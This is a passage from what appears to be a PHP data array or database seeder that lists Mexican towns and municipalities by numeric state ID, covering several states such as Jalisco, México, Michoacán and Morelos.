'name' => 'chapala'],\n ['state_id' => '2441', 'name' => 'chiquilistlan'],\n ['state_id' => '2441', 'name' => 'cihuatlan'],\n ['state_id' => '2441', 'name' => 'cocula'],\n ['state_id' => '2441', 'name' => 'colotlan'],\n ['state_id' => '2441', 'name' => 'concepcion de buenos aires'],\n ['state_id' => '2441', 'name' => 'cosala'],\n ['state_id' => '2441', 'name' => 'coyula'],\n ['state_id' => '2441', 'name' => 'cuitzeo'],\n ['state_id' => '2441', 'name' => 'cuqio'],\n ['state_id' => '2441', 'name' => 'cuyutlan'],\n ['state_id' => '2441', 'name' => 'degollado'],\n ['state_id' => '2441', 'name' => 'el arenal'],\n ['state_id' => '2441', 'name' => 'el grullo'],\n ['state_id' => '2441', 'name' => 'el limon'],\n ['state_id' => '2441', 'name' => 'el quince'],\n ['state_id' => '2441', 'name' => 'el refugio'],\n ['state_id' => '2441', 'name' => 'el salto'],\n ['state_id' => '2441', 'name' => 'el verde'],\n ['state_id' => '2441', 'name' => 'encarnacion'],\n ['state_id' => '2441', 'name' => 'etzatlan'],\n ['state_id' => '2441', 'name' => 'guadalajara'],\n ['state_id' => '2441', 'name' => 'guzman'],\n ['state_id' => '2441', 'name' => 'hidalgo'],\n ['state_id' => '2441', 'name' => 'hostotipaquillo'],\n ['state_id' => '2441', 'name' => 'huejucar'],\n ['state_id' => '2441', 'name' => 'huejuquilla el alto'],\n ['state_id' => '2441', 'name' => 'itzican'],\n ['state_id' => '2441', 'name' => 'ixtapa'],\n ['state_id' => '2441', 'name' => 'ixtlahuacan de los membrillos'],\n ['state_id' => '2441', 'name' => 'ixtlahuacan del rio'],\n ['state_id' => '2441', 'name' => 'ixtlan'],\n ['state_id' => '2441', 'name' => 'jalostotitlan'],\n ['state_id' => '2441', 'name' => 'jamay'],\n ['state_id' => '2441', 'name' => 'jesus maria'],\n ['state_id' => '2441', 'name' => 'jocotepec'],\n ['state_id' => '2441', 'name' => 'juanacatlan'],\n ['state_id' => '2441', 'name' => 'juchitlan'],\n ['state_id' => '2441', 'name' => 'la barca'],\n ['state_id' => '2441', 'name' => 'la huerta'],\n ['state_id' => '2441', 'name' => 'la ribera'],\n ['state_id' => '2441', 'name' => 'la tijera'],\n ['state_id' => '2441', 'name' => 'la venta del astillero'],\n ['state_id' => '2441', 'name' => 'lagos de moreno'],\n ['state_id' => '2441', 'name' => 'las juntas'],\n ['state_id' => '2441', 'name' => 'las pintas'],\n ['state_id' => '2441', 'name' => 'las pintitas'],\n ['state_id' => '2441', 'name' => 'lo arado'],\n ['state_id' => '2441', 'name' => 'magdalena'],\n ['state_id' => '2441', 'name' => 'mascota'],\n ['state_id' => '2441', 'name' => 'mazamitla'],\n ['state_id' => '2441', 'name' => 'mexticacan'],\n ['state_id' => '2441', 'name' => 'mezcala'],\n ['state_id' => '2441', 'name' => 'nuevo mexico'],\n ['state_id' => '2441', 'name' => 'ocotlan'],\n ['state_id' => '2441', 'name' => 'ojuelos de jalisco'],\n ['state_id' => '2441', 'name' => 'pihuamo'],\n ['state_id' => '2441', 'name' => 'poncitlan'],\n ['state_id' => '2441', 'name' => 'puente grande'],\n ['state_id' => '2441', 'name' => 'puerto vallarta'],\n ['state_id' => '2441', 'name' => 'purificacion'],\n ['state_id' => '2441', 'name' => 'san agustin'],\n ['state_id' => '2441', 'name' => 'san francisco de asis'],\n ['state_id' => '2441', 'name' => 'san gabriel'],\n ['state_id' => '2441', 'name' => 'san jose de gracia'],\n ['state_id' => '2441', 'name' => 'san jose del castillo'],\n ['state_id' => '2441', 'name' => 'san juan de los lagos'],\n ['state_id' => '2441', 'name' => 'san julian'],\n ['state_id' => '2441', 'name' => 'san marcos'],\n ['state_id' => '2441', 'name' => 'san martin de hidalgo'],\n ['state_id' => '2441', 'name' => 'san miguel el alto'],\n ['state_id' => '2441', 'name' => 'san patricio'],\n ['state_id' => '2441', 'name' => 'san sebastian del sur'],\n ['state_id' => '2441', 'name' => 'san sebastian el grande'],\n ['state_id' => '2441', 'name' => 'santa anita'],\n ['state_id' => '2441', 'name' => 'santa cruz de las flores'],\n ['state_id' => '2441', 'name' => 'santa cruz del valle'],\n ['state_id' => '2441', 'name' => 'sayula'],\n ['state_id' => '2441', 'name' => 'tala'],\n ['state_id' => '2441', 'name' => 'talpa'],\n ['state_id' => '2441', 'name' => 'tamazula'],\n ['state_id' => '2441', 'name' => 'tapalpa'],\n ['state_id' => '2441', 'name' => 'tecalitlan'],\n ['state_id' => '2441', 'name' => 'tecolotlan'],\n ['state_id' => '2441', 'name' => 'tenamaxtlan'],\n ['state_id' => '2441', 'name' => 'teocaltiche'],\n ['state_id' => '2441', 'name' => 'teocuitatlan de corona'],\n ['state_id' => '2441', 'name' => 'tepatitlan'],\n ['state_id' => '2441', 'name' => 'tequila'],\n ['state_id' => '2441', 'name' => 'tesistan'],\n ['state_id' => '2441', 'name' => 'teuchitlan'],\n ['state_id' => '2441', 'name' => 'tizapan el alto'],\n ['state_id' => '2441', 'name' => 'tlajomulco'],\n ['state_id' => '2441', 'name' => 'tlaquepaque'],\n ['state_id' => '2441', 'name' => 'tomatlan'],\n ['state_id' => '2441', 'name' => 'tonala'],\n ['state_id' => '2441', 'name' => 'tonaya'],\n ['state_id' => '2441', 'name' => 'tonila'],\n ['state_id' => '2441', 'name' => 'tototlan'],\n ['state_id' => '2441', 'name' => 'tuxpan'],\n ['state_id' => '2441', 'name' => 'union de san antonio'],\n ['state_id' => '2441', 'name' => 'union de tula'],\n ['state_id' => '2441', 'name' => 'usmajac'],\n ['state_id' => '2441', 'name' => 'valle de guadalupe'],\n ['state_id' => '2441', 'name' => 'valle de juarez'],\n ['state_id' => '2441', 'name' => 'villa corona'],\n ['state_id' => '2441', 'name' => 'villa guerrero'],\n ['state_id' => '2441', 'name' => 'yahualica'],\n ['state_id' => '2441', 'name' => 'zacoalco'],\n ['state_id' => '2441', 'name' => 'zapopan'],\n ['state_id' => '2441', 'name' => 'zapote'],\n ['state_id' => '2441', 'name' => 'zapotiltic'],\n ['state_id' => '2441', 'name' => 'zapotlanejo'],\n ['state_id' => '2442', 'name' => 'acahualco'],\n ['state_id' => '2442', 'name' => 'acambay'],\n ['state_id' => '2442', 'name' => 'acazulco'],\n ['state_id' => '2442', 'name' => 'acolman'],\n ['state_id' => '2442', 'name' => 'acuautla'],\n ['state_id' => '2442', 'name' => 'acutzilapan'],\n ['state_id' => '2442', 'name' => 'ajoloapan'],\n ['state_id' => '2442', 'name' => 'alborada'],\n ['state_id' => '2442', 'name' => 'almaya'],\n ['state_id' => '2442', 'name' => 'almoloya'],\n ['state_id' => '2442', 'name' => 'almoloya del rio'],\n ['state_id' => '2442', 'name' => 'amanalco'],\n ['state_id' => '2442', 'name' => 'amecameca'],\n ['state_id' => '2442', 'name' => 'ameyalco'],\n ['state_id' => '2442', 'name' => 'apaxco'],\n ['state_id' => '2442', 'name' => 'atarasquillo'],\n ['state_id' => '2442', 'name' => 'atenco'],\n ['state_id' => '2442', 'name' => 'atizapan'],\n ['state_id' => '2442', 'name' => 'atlacomulco'],\n ['state_id' => '2442', 'name' => 'atlatlahuca'],\n ['state_id' => '2442', 'name' => 'atlatongo'],\n ['state_id' => '2442', 'name' => 'atlautla'],\n ['state_id' => '2442', 'name' => 'atlazalpan'],\n ['state_id' => '2442', 'name' => 'autopan'],\n ['state_id' => '2442', 'name' => 'axapusco'],\n ['state_id' => '2442', 'name' => 'ayotuzco'],\n ['state_id' => '2442', 'name' => 'ayotzingo'],\n ['state_id' => '2442', 'name' => 'azcatepec'],\n ['state_id' => '2442', 'name' => 'balderas'],\n ['state_id' => '2442', 'name' => 'bocanegra'],\n ['state_id' => '2442', 'name' => 'boreje'],\n ['state_id' => '2442', 'name' => 'buenavista'],\n ['state_id' => '2442', 'name' => 'cacalomacan'],\n ['state_id' => '2442', 'name' => 'cahuacan'],\n ['state_id' => '2442', 'name' => 'calimaya'],\n ['state_id' => '2442', 'name' => 'calixtlahuaca'],\n ['state_id' => '2442', 'name' => 'capulhuac'],\n ['state_id' => '2442', 'name' => 'carbon'],\n ['state_id' => '2442', 'name' => 'cautzingo'],\n ['state_id' => '2442', 'name' => 'chalco'],\n ['state_id' => '2442', 'name' => 'chapultepec'],\n ['state_id' => '2442', 'name' => 'chiautla'],\n ['state_id' => '2442', 'name' => 'chicoloapan'],\n ['state_id' => '2442', 'name' => 'chiconautla'],\n ['state_id' => '2442', 'name' => 'chiconcuac'],\n ['state_id' => '2442', 'name' => 'chimalhuacan'],\n ['state_id' => '2442', 'name' => 'chimalpa'],\n ['state_id' => '2442', 'name' => 'cholula'],\n ['state_id' => '2442', 'name' => 'citendeje'],\n ['state_id' => '2442', 'name' => 'coacalco'],\n ['state_id' => '2442', 'name' => 'coachochitlan'],\n ['state_id' => '2442', 'name' => 'coacomulco'],\n ['state_id' => '2442', 'name' => 'coapango'],\n ['state_id' => '2442', 'name' => 'coatepec'],\n ['state_id' => '2442', 'name' => 'coatepec harinas'],\n ['state_id' => '2442', 'name' => 'coatlinchan'],\n ['state_id' => '2442', 'name' => 'cocotitlan'],\n ['state_id' => '2442', 'name' => 'colorines'],\n ['state_id' => '2442', 'name' => 'concepcion jolalpan'],\n ['state_id' => '2442', 'name' => 'coyotepec'],\n ['state_id' => '2442', 'name' => 'cuauhtemoc'],\n ['state_id' => '2442', 'name' => 'cuauhtenco'],\n ['state_id' => '2442', 'name' => 'cuautitlan'],\n ['state_id' => '2442', 'name' => 'cuautitlan izcalli'],\n ['state_id' => '2442', 'name' => 'cuautlalpan'],\n ['state_id' => '2442', 'name' => 'cuaxustenco'],\n ['state_id' => '2442', 'name' => 'cuexontitlan'],\n ['state_id' => '2442', 'name' => 'cuijingo'],\n ['state_id' => '2442', 'name' => 'ecatepec'],\n ['state_id' => '2442', 'name' => 'ecatzingo'],\n ['state_id' => '2442', 'name' => 'ejido cahuacan'],\n ['state_id' => '2442', 'name' => 'ejido veinte de noviembre la c'],\n ['state_id' => '2442', 'name' => 'ejido de la y seccion siete a '],\n ['state_id' => '2442', 'name' => 'el coporo'],\n ['state_id' => '2442', 'name' => 'el oro'],\n ['state_id' => '2442', 'name' => 'enchisi'],\n ['state_id' => '2442', 'name' => 'enthavi'],\n ['state_id' => '2442', 'name' => 'fuentes del valle'],\n ['state_id' => '2442', 'name' => 'huehuetoca'],\n ['state_id' => '2442', 'name' => 'huexoculco'],\n ['state_id' => '2442', 'name' => 'hueypoxtla'],\n ['state_id' => '2442', 'name' => 'huilango'],\n ['state_id' => '2442', 'name' => 'huitzilzingo'],\n ['state_id' => '2442', 'name' => 'huixquilucan'],\n ['state_id' => '2442', 'name' => 'huixquilucan de degollado'],\n ['state_id' => '2442', 'name' => 'huixtoco'],\n ['state_id' => '2442', 'name' => 'ixlahuaca'],\n ['state_id' => '2442', 'name' => 'ixtacalco'],\n ['state_id' => '2442', 'name' => 'ixtapaluca'],\n ['state_id' => '2442', 'name' => 'ixtapan'],\n ['state_id' => '2442', 'name' => 'ixtlahuatzingo'],\n ['state_id' => '2442', 'name' => 'jajalpa'],\n ['state_id' => '2442', 'name' => 'jaltenco'],\n ['state_id' => '2442', 'name' => 'jaltepec'],\n ['state_id' => '2442', 'name' => 'jesus del monte'],\n ['state_id' => '2442', 'name' => 'jicaltepec autopan'],\n ['state_id' => '2442', 'name' => 'jilotepec'],\n ['state_id' => '2442', 'name' => 'jilotzingo'],\n ['state_id' => '2442', 'name' => 'jocotitlan'],\n ['state_id' => '2442', 'name' => 'joquicingo'],\n ['state_id' => '2442', 'name' => 'jorge jimenez cantu'],\n ['state_id' => '2442', 'name' => 'juchitepec'],\n ['state_id' => '2442', 'name' => 'la concepcion los banos'],\n ['state_id' => '2442', 'name' => 'la constitucion'],\n ['state_id' => '2442', 'name' => 'la magdalema'],\n ['state_id' => '2442', 'name' => 'lerma'],\n ['state_id' => '2442', 'name' => 'loma de juarez'],\n ['state_id' => '2442', 'name' => 'lomas de zacamulpa'],\n ['state_id' => '2442', 'name' => 'lopez mateos'],\n ['state_id' => '2442', 'name' => 'los esparragos'],\n ['state_id' => '2442', 'name' => 'los reyes'],\n ['state_id' => '2442', 'name' => 'los reyes acozac'],\n ['state_id' => '2442', 'name' => 'luvianos'],\n ['state_id' => '2442', 'name' => 'malinalco'],\n ['state_id' => '2442', 'name' => 'melchor ocampo'],\n ['state_id' => '2442', 'name' => 'metepec'],\n ['state_id' => '2442', 'name' => 'mexicaltzingo'],\n ['state_id' => '2442', 'name' => 'mextepec'],\n ['state_id' => '2442', 'name' => 'montecillo'],\n ['state_id' => '2442', 'name' => 'nativitas'],\n ['state_id' => '2442', 'name' => 'naucalpan'],\n ['state_id' => '2442', 'name' => 'nexquipayac'],\n ['state_id' => '2442', 'name' => 'nextlalpan'],\n ['state_id' => '2442', 'name' => 'nezahualcoyotl'],\n ['state_id' => '2442', 'name' => 'nicolas romero'],\n ['state_id' => '2442', 'name' => 'nopaltepec'],\n ['state_id' => '2442', 'name' => 'ocotitlan'],\n ['state_id' => '2442', 'name' => 'ocotlan'],\n ['state_id' => '2442', 'name' => 'ocoyoacac'],\n ['state_id' => '2442', 'name' => 'ojo de agua'],\n ['state_id' => '2442', 'name' => 'otumba'],\n ['state_id' => '2442', 'name' => 'otzacatipan'],\n ['state_id' => '2442', 'name' => 'oyamel'],\n ['state_id' => '2442', 'name' => 'oztolotepec'],\n ['state_id' => '2442', 'name' => 'ozumba'],\n ['state_id' => '2442', 'name' => 'papalotla'],\n ['state_id' => '2442', 'name' => 'progreso industrial'],\n ['state_id' => '2442', 'name' => 'pueblo nuevo'],\n ['state_id' => '2442', 'name' => 'rayon'],\n ['state_id' => '2442', 'name' => 'rio frio'],\n ['state_id' => '2442', 'name' => 'salitrillo'],\n ['state_id' => '2442', 'name' => 'san antonio buenavista'],\n ['state_id' => '2442', 'name' => 'san antonio la isla'],\n ['state_id' => '2442', 'name' => 'san bartolo'],\n ['state_id' => '2442', 'name' => 'san bartolo del llano'],\n ['state_id' => '2442', 'name' => 'san bernardino'],\n ['state_id' => '2442', 'name' => 'san buenaventura'],\n ['state_id' => '2442', 'name' => 'san felipe del progreso'],\n ['state_id' => '2442', 'name' => 'san jeronimo'],\n ['state_id' => '2442', 'name' => 'san jose guadalupe'],\n ['state_id' => '2442', 'name' => 'san jose el vidrio'],\n ['state_id' => '2442', 'name' => 'san juan tilapa'],\n ['state_id' => '2442', 'name' => 'san juan de las huertas'],\n ['state_id' => '2442', 'name' => 'san juan y san pedro tezompa'],\n ['state_id' => '2442', 'name' => 'san lorenzo cuauhtenco'],\n ['state_id' => '2442', 'name' => 'san martin de las piramides'],\n ['state_id' => '2442', 'name' => 'san miguel la labor'],\n ['state_id' => '2442', 'name' => 'san nicolas guadalupe'],\n ['state_id' => '2442', 'name' => 'san nicolas tolentino'],\n ['state_id' => '2442', 'name' => 'san pablo de las salinas'],\n ['state_id' => '2442', 'name' => 'san pedro abajo'],\n ['state_id' => '2442', 'name' => 'san pedro arriba'],\n ['state_id' => '2442', 'name' => 'san pedro el alto'],\n ['state_id' => '2442', 'name' => 'san pedro los banos'],\n ['state_id' => '2442', 'name' => 'san simon de la laguna'],\n ['state_id' => '2442', 'name' => 'santa catarina del monte'],\n ['state_id' => '2442', 'name' => 'santa cruz del monte'],\n ['state_id' => '2442', 'name' => 'santa gertrudis'],\n ['state_id' => '2442', 'name' => 'santa maria del monte'],\n ['state_id' => '2442', 'name' => 'santo domingo de guzman'],\n ['state_id' => '2442', 'name' => 'soyaniquilpan'],\n ['state_id' => '2442', 'name' => 'sultepec'],\n ['state_id' => '2442', 'name' => 'tecalco'],\n ['state_id' => '2442', 'name' => 'tecamac'],\n ['state_id' => '2442', 'name' => 'techuchulco'],\n ['state_id' => '2442', 'name' => 'tecuahutitlan'],\n ['state_id' => '2442', 'name' => 'tehuixtitlan'],\n ['state_id' => '2442', 'name' => 'tejupilco'],\n ['state_id' => '2442', 'name' => 'temamatla'],\n ['state_id' => '2442', 'name' => 'temascalapa'],\n ['state_id' => '2442', 'name' => 'temascalcingo'],\n ['state_id' => '2442', 'name' => 'temoaya'],\n ['state_id' => '2442', 'name' => 'tenancingo'],\n ['state_id' => '2442', 'name' => 'tenango de arista'],\n ['state_id' => '2442', 'name' => 'tenango del aire'],\n ['state_id' => '2442', 'name' => 'tenochtitlan'],\n ['state_id' => '2442', 'name' => 'teoloyucan'],\n ['state_id' => '2442', 'name' => 'teotihuacan'],\n ['state_id' => '2442', 'name' => 'tepeolulco'],\n ['state_id' => '2442', 'name' => 'tepetitlan'],\n ['state_id' => '2442', 'name' => 'tepetlaoxtoc'],\n ['state_id' => '2442', 'name' => 'tepetlixpa'],\n ['state_id' => '2442', 'name' => 'tepexpan'],\n ['state_id' => '2442', 'name' => 'tepotzotlan'],\n ['state_id' => '2442', 'name' => 'tequexquinahuac'],\n ['state_id' => '2442', 'name' => 'tequisistlan'],\n ['state_id' => '2442', 'name' => 'tequixquiac'],\n ['state_id' => '2442', 'name' => 'texcalyacac'],\n ['state_id' => '2442', 'name' => 'texcoco'],\n ['state_id' => '2442', 'name' => 'teyahualco'],\n ['state_id' => '2442', 'name' => 'tezoquipan'],\n ['state_id' => '2442', 'name' => 'tezoyuca'],\n ['state_id' => '2442', 'name' => 'tianguistenco'],\n ['state_id' => '2442', 'name' => 'tilapa'],\n ['state_id' => '2442', 'name' => 'tlachaloya segunda seccion'],\n ['state_id' => '2442', 'name' => 'tlachihualpa'],\n ['state_id' => '2442', 'name' => 'tlacotepec'],\n ['state_id' => '2442', 'name' => 'tlahuelilpan'],\n ['state_id' => '2442', 'name' => 'tlaixpan'],\n ['state_id' => '2442', 'name' => 'tlalcilalcalli'],\n ['state_id' => '2442', 'name' => 'tlalcilalcalpan'],\n ['state_id' => '2442', 'name' => 'tlalmanalco'],\n ['state_id' => '2442', 'name' => 'tlalmimilolpan'],\n ['state_id' => '2442', 'name' => 'tlalnepantla'],\n ['state_id' => '2442', 'name' => 'tlaltelulco'],\n ['state_id' => '2442', 'name' => 'tlaltizapan'],\n ['state_id' => '2442', 'name' => 'tlanisco'],\n ['state_id' => '2442', 'name' => 'toluca'],\n ['state_id' => '2442', 'name' => 'tonanitla'],\n ['state_id' => '2442', 'name' => 'tonatico'],\n ['state_id' => '2442', 'name' => 'totocuitlapilco'],\n ['state_id' => '2442', 'name' => 'totoltepec'],\n ['state_id' => '2442', 'name' => 'tulantongo'],\n ['state_id' => '2442', 'name' => 'tultepec'],\n ['state_id' => '2442', 'name' => 'tultitlan'],\n ['state_id' => '2442', 'name' => 'valle de bravo'],\n ['state_id' => '2442', 'name' => 'victoria'],\n ['state_id' => '2442', 'name' => 'villa guerrero'],\n ['state_id' => '2442', 'name' => 'vista hermosa'],\n ['state_id' => '2442', 'name' => 'xalatlaco'],\n ['state_id' => '2442', 'name' => 'xalpa'],\n ['state_id' => '2442', 'name' => 'xico'],\n ['state_id' => '2442', 'name' => 'xochimanca'],\n ['state_id' => '2442', 'name' => 'xolalpa'],\n ['state_id' => '2442', 'name' => 'xoloc'],\n ['state_id' => '2442', 'name' => 'xometla'],\n ['state_id' => '2442', 'name' => 'xonacatlan'],\n ['state_id' => '2442', 'name' => 'yachihuacaltepec'],\n ['state_id' => '2442', 'name' => 'yancuitlalpan'],\n ['state_id' => '2442', 'name' => 'zacacalco'],\n ['state_id' => '2442', 'name' => 'zacamulpa'],\n ['state_id' => '2442', 'name' => 'zacualpan'],\n ['state_id' => '2442', 'name' => 'zaragoza'],\n ['state_id' => '2442', 'name' => 'zictepec'],\n ['state_id' => '2442', 'name' => 'zinacantepec'],\n ['state_id' => '2442', 'name' => 'zolotepec'],\n ['state_id' => '2442', 'name' => 'zumpahuacan'],\n ['state_id' => '2442', 'name' => 'zumpango'],\n ['state_id' => '2443', 'name' => 'acuitzio'],\n ['state_id' => '2443', 'name' => 'aguililla'],\n ['state_id' => '2443', 'name' => 'alvaro obregon'],\n ['state_id' => '2443', 'name' => 'angahuan'],\n ['state_id' => '2443', 'name' => 'angamacutiro'],\n ['state_id' => '2443', 'name' => 'angangueo'],\n ['state_id' => '2443', 'name' => 'antunez'],\n ['state_id' => '2443', 'name' => 'apatzingan'],\n ['state_id' => '2443', 'name' => 'ario'],\n ['state_id' => '2443', 'name' => 'arteaga'],\n ['state_id' => '2443', 'name' => 'benito juarez'],\n ['state_id' => '2443', 'name' => 'brisenas'],\n ['state_id' => '2443', 'name' => 'buenavista'],\n ['state_id' => '2443', 'name' => 'buenos aires'],\n ['state_id' => '2443', 'name' => 'caltzontzin'],\n ['state_id' => '2443', 'name' => 'capacuaro'],\n ['state_id' => '2443', 'name' => 'capula'],\n ['state_id' => '2443', 'name' => 'caracuaro'],\n ['state_id' => '2443', 'name' => 'charapan'],\n ['state_id' => '2443', 'name' => 'charo'],\n ['state_id' => '2443', 'name' => 'chavinda'],\n ['state_id' => '2443', 'name' => 'cheran'],\n ['state_id' => '2443', 'name' => 'chilchota'],\n ['state_id' => '2443', 'name' => 'churintzio'],\n ['state_id' => '2443', 'name' => 'churumuco'],\n ['state_id' => '2443', 'name' => 'coahuayana'],\n ['state_id' => '2443', 'name' => 'coalcoman'],\n ['state_id' => '2443', 'name' => 'coeneo'],\n ['state_id' => '2443', 'name' => 'cojumatlan'],\n ['state_id' => '2443', 'name' => 'comachuen'],\n ['state_id' => '2443', 'name' => 'contepec'],\n ['state_id' => '2443', 'name' => 'copandaro'],\n ['state_id' => '2443', 'name' => 'cotija'],\n ['state_id' => '2443', 'name' => 'cuanajo'],\n ['state_id' => '2443', 'name' => 'cuitareo'],\n ['state_id' => '2443', 'name' => 'cuitzeo'],\n ['state_id' => '2443', 'name' => 'ecuandureo'],\n ['state_id' => '2443', 'name' => 'hidalgo'],\n ['state_id' => '2443', 'name' => 'huandacareo'],\n ['state_id' => '2443', 'name' => 'huetamo'],\n ['state_id' => '2443', 'name' => 'indaparapeo'],\n ['state_id' => '2443', 'name' => 'irimbo'],\n ['state_id' => '2443', 'name' => 'ixtlan'],\n ['state_id' => '2443', 'name' => 'jacona'],\n ['state_id' => '2443', 'name' => 'jiquilpan'],\n ['state_id' => '2443', 'name' => 'jungapeo'],\n ['state_id' => '2443', 'name' => 'la huacana'],\n ['state_id' => '2443', 'name' => 'la mira'],\n ['state_id' => '2443', 'name' => 'la orilla'],\n ['state_id' => '2443', 'name' => 'la piedad'],\n ['state_id' => '2443', 'name' => 'la ruana'],\n ['state_id' => '2443', 'name' => 'las guacamayas'],\n ['state_id' => '2443', 'name' => 'lazaro cardenas'],\n ['state_id' => '2443', 'name' => 'lombardia'],\n ['state_id' => '2443', 'name' => 'los reyes'],\n ['state_id' => '2443', 'name' => 'madero'],\n ['state_id' => '2443', 'name' => 'maravatio'],\n ['state_id' => '2443', 'name' => 'maya'],\n ['state_id' => '2443', 'name' => 'morelia'],\n ['state_id' => '2443', 'name' => 'morelos'],\n ['state_id' => '2443', 'name' => 'nahuatzen'],\n ['state_id' => '2443', 'name' => 'nocupetaro'],\n ['state_id' => '2443', 'name' => 'nueva italia de ruiz'],\n ['state_id' => '2443', 'name' => 'nuevo san juan parangaricutiro'],\n ['state_id' => '2443', 'name' => 'numaran'],\n ['state_id' => '2443', 'name' => 'ocampo'],\n ['state_id' => '2443', 'name' => 'opopeo'],\n ['state_id' => '2443', 'name' => 'pajacuaran'],\n ['state_id' => '2443', 'name' => 'panindicuaro'],\n ['state_id' => '2443', 'name' => 'paracho'],\n ['state_id' => '2443', 'name' => 'paracuaro'],\n ['state_id' => '2443', 'name' => 'pastor ortiz'],\n ['state_id' => '2443', 'name' => 'patzcuaro'],\n ['state_id' => '2443', 'name' => 'pedernales'],\n ['state_id' => '2443', 'name' => 'penjamillo'],\n ['state_id' => '2443', 'name' => 'periban'],\n ['state_id' => '2443', 'name' => 'pichataro'],\n ['state_id' => '2443', 'name' => 'purepero'],\n ['state_id' => '2443', 'name' => 'puruandiro'],\n ['state_id' => '2443', 'name' => 'puruaran'],\n ['state_id' => '2443', 'name' => 'querendaro'],\n ['state_id' => '2443', 'name' => 'quiroga'],\n ['state_id' => '2443', 'name' => 'rincon de nicolas romero'],\n ['state_id' => '2443', 'name' => 'riva palacio'],\n ['state_id' => '2443', 'name' => 'sahuayo'],\n ['state_id' => '2443', 'name' => 'san jose de gracia'],\n ['state_id' => '2443', 'name' => 'san lucas'],\n ['state_id' => '2443', 'name' => 'san matias grande'],\n ['state_id' => '2443', 'name' => 'santa clara de valladares'],\n ['state_id' => '2443', 'name' => 'santa clara del cobre'],\n ['state_id' => '2443', 'name' => 'santa fe de la laguna'],\n ['state_id' => '2443', 'name' => 'tacambaro'],\n ['state_id' => '2443', 'name' => 'tancitaro'],\n ['state_id' => '2443', 'name' => 'tangamandapio'],\n ['state_id' => '2443', 'name' => 'tangancicuaro'],\n ['state_id' => '2443', 'name' => 'tanhuato'],\n ['state_id' => '2443', 'name' => 'tarecuato'],\n ['state_id' => '2443', 'name' => 'taretan'],\n ['state_id' => '2443', 'name' => 'tarimbaro'],\n ['state_id' => '2443', 'name' => 'tejaro'],\n ['state_id' => '2443', 'name' => 'tepalcatepec'],\n ['state_id' => '2443', 'name' => 'tingambato'],\n ['state_id' => '2443', 'name' => 'tinguindin'],\n ['state_id' => '2443', 'name' => 'tiquicheo'],\n ['state_id' => '2443', 'name' => 'tlalpujahua'],\n ['state_id' => '2443', 'name' => 'tlazazalca'],\n ['state_id' => '2443', 'name' => 'tungareo'],\n ['state_id' => '2443', 'name' => 'tuxpan'],\n ['state_id' => '2443', 'name' => 'tzintzuntzan'],\n ['state_id' => '2443', 'name' => 'uruapan'],\n ['state_id' => '2443', 'name' => 'venustiano carranza'],\n ['state_id' => '2443', 'name' => 'villa jimenez'],\n ['state_id' => '2443', 'name' => 'villachuato'],\n ['state_id' => '2443', 'name' => 'villamar'],\n ['state_id' => '2443', 'name' => 'vista hermosa'],\n ['state_id' => '2443', 'name' => 'yurecuaro'],\n ['state_id' => '2443', 'name' => 'zacapu'],\n ['state_id' => '2443', 'name' => 'zamora'],\n ['state_id' => '2443', 'name' => 'zinapecuaro'],\n ['state_id' => '2443', 'name' => 'zitacuaro'],\n ['state_id' => '2444', 'name' => 'alpuyeca'],\n ['state_id' => '2444', 'name' => 'amacuzac'],\n ['state_id' => '2444', 'name' => 'amayuca'],\n ['state_id' => '2444', 'name' => 'anenecuilco'],\n ['state_id' => '2444', 'name' => 'apatlaco'],\n ['state_id' => '2444', 'name' => 'atlatlahucan'],\n ['state_id' => '2444', 'name' => 'axochiapan'],\n ['state_id' => '2444', 'name' => 'ayala'],\n ['state_id' => '2444', 'name' => 'calera chica'],\n ['state_id' => '2444', 'name' => 'chiconcuac'],\n ['state_id' => '2444', 'name' => 'coatetelco'],\n ['state_id' => '2444', 'name' => 'cocoyoc'],\n ['state_id' => '2444', 'name' => 'cuautla'],\n ['state_id' => '2444', 'name' => 'cuernavaca'],\n ['state_id' => '2444', 'name' => 'emiliano zapata'],\n ['state_id' => '2444', 'name' => 'higueron'],\n ['state_id' => '2444', 'name' => 'hueyapan'],\n ['state_id' => '2444', 'name' => 'huiztilac'],\n ['state_id' => '2444', 'name' => 'independencia'],\n ['state_id' => '2444', 'name' => 'jantetelco'],\n ['state_id' => '2444', 'name' => 'jiutepec'],\n ['state_id' => '2444', 'name' => 'jojutla'],\n ['state_id' => '2444', 'name' => 'jonacatepec'],\n ['state_id' => '2444', 'name' => 'juan morales'],\n ['state_id' => '2444', 'name' => 'la joya'],\n ['state_id' => '2444', 'name' => 'los arcos'],\n ['state_id' => '2444', 'name' => 'mazatepec'],\n ['state_id' => '2444', 'name' => 'miacatlan'],\n ['state_id' => '2444', 'name' => 'oaxtepec'],\n ['state_id' => '2444', 'name' => 'ocuituco'],\n ['state_id' => '2444', 'name' => 'pedro amaro'],\n ['state_id' => '2444', 'name' => 'progreso'],\n ['state_id' => '2444', 'name' => 'puente de ixtla'],\n ['state_id' => '2444', 'name' => 'san jose vista hermosa'],\n ['state_id' => '2444', 'name' => 'san nicolas galeana'],\n ['state_id' => '2444', 'name' => 'santa catarina'],\n ['state_id' => '2444', 'name' => 'santa rosa treinta'],\n ['state_id' => '2444', 'name' => 'tehuixtla'],\n ['state_id' => '2444', 'name' => 'telixtac'],\n ['state_id' => '2444', 'name' => 'temixco'],\n ['state_id' => '2444', 'name' => 'temoac'],\n ['state_id' => '2444', 'name' => 'tenextepango'],\n ['state_id' => '2444', 'name' => 'tepalcingo'],\n ['state_id' => '2444', 'name' => 'tepoztlan'],\n ['state_id' => '2444', 'name' => 'tetecala'],\n ['state_id' => '2444', 'name' => 'tetela del volcan'],\n ['state_id' => '2444', 'name' => 'tilzapotla'],\n ['state_id' => '2444', 'name' => 'tlacotepec'],\n ['state_id' => '2444', 'name' => 'tlalnepantla'],\n ['state_id' => '2444', 'name' => 'tlaltizapan'],\n ['state_id' => '2444', 'name' => 'tlaquiltenango'],\n ['state_id' => '2444', 'name' => 'tlatenchi'],\n ['state_id' => '2444', 'name' => 'tlayacapan'],\n ['state_id' => '2444', 'name' => 'totolapan'],\n ['state_id' => '2444', 'name' => 'tres marias'],\n ['state_id' => '2444', 'name' => 'unidad habitacional jose maria'],\n ['state_id' => '2444', 'name' => 'xochitepec'],\n ['state_id' => '2444', 'name' => 'xoxocotla'],\n ['state_id' => '2444', 'name' => 'yautepec'],\n ['state_id' => '2444', 'name' => 'yecapixtla'],\n ['state_id' => '2444', 'name' => 'zacatepec'],\n ['state_id' => '2444', 'name' => 'zacualpan'],\n ['state_id' => '2445', 'name' => 'acaponeta'],\n ['state_id' => '2445', 'name' => 'ahuacatlan'],\n ['state_id' => '2445', 'name' => 'amatlan'],\n ['state_id' => '2445', 